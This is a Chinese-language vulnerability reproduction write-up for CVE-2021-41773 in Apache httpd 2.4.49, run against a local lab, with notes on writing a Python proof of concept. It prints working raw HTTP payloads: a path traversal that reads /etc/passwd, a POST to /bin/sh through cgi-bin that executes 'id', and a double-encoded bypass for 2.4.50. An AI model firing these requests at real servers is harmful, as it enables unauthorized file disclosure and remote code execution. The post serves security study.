CVE-2021-41773 Apache Httpd Server 漏洞复现
CVE-2021-41773 Apache Httpd Server 漏洞复现
0x00 写在前面
很久没写水漏洞复现的文章了,水一篇。
0x01 漏洞简介
是目录穿越文件读取漏洞,漏洞只影响2.4.49,2.4.50不完全修复可绕过,如果开启mod_cgi
可RCE
详情可参考下面链接
https://twitter.com/h4x0r_dz/status/1445384417908862977?s=20
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
0x02 漏洞复现
这里用的https://github.com/blasty/CVE-2021-41773项目起的环境
文件读取
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
RCE
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/plain
Content-Length: 8
echo; id
2.4.50版本暂未复现,payload中目录穿越部分换为.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65
即可
0x03 poc编写
主要记录下写poc时踩的坑,本人用的python3.9.6 一开始用的requests库,但是发现requests库在发送http请求时会自己先对url进行处理,而不会直接将我们在脚本中写好的url直接发过去。
部分源码如下:
报错如下:
而burp发过去就是很正常的,最后查看日志时发现了问题
error.log:
access.log
结果:burp传过去在log里看是有url编码的,requests过去的在发送前已经先做了一次urldecode
这里没有debug跟源码,用urllib.request作为请求库就解决了
所有内容仅限于维护网络安全学习参考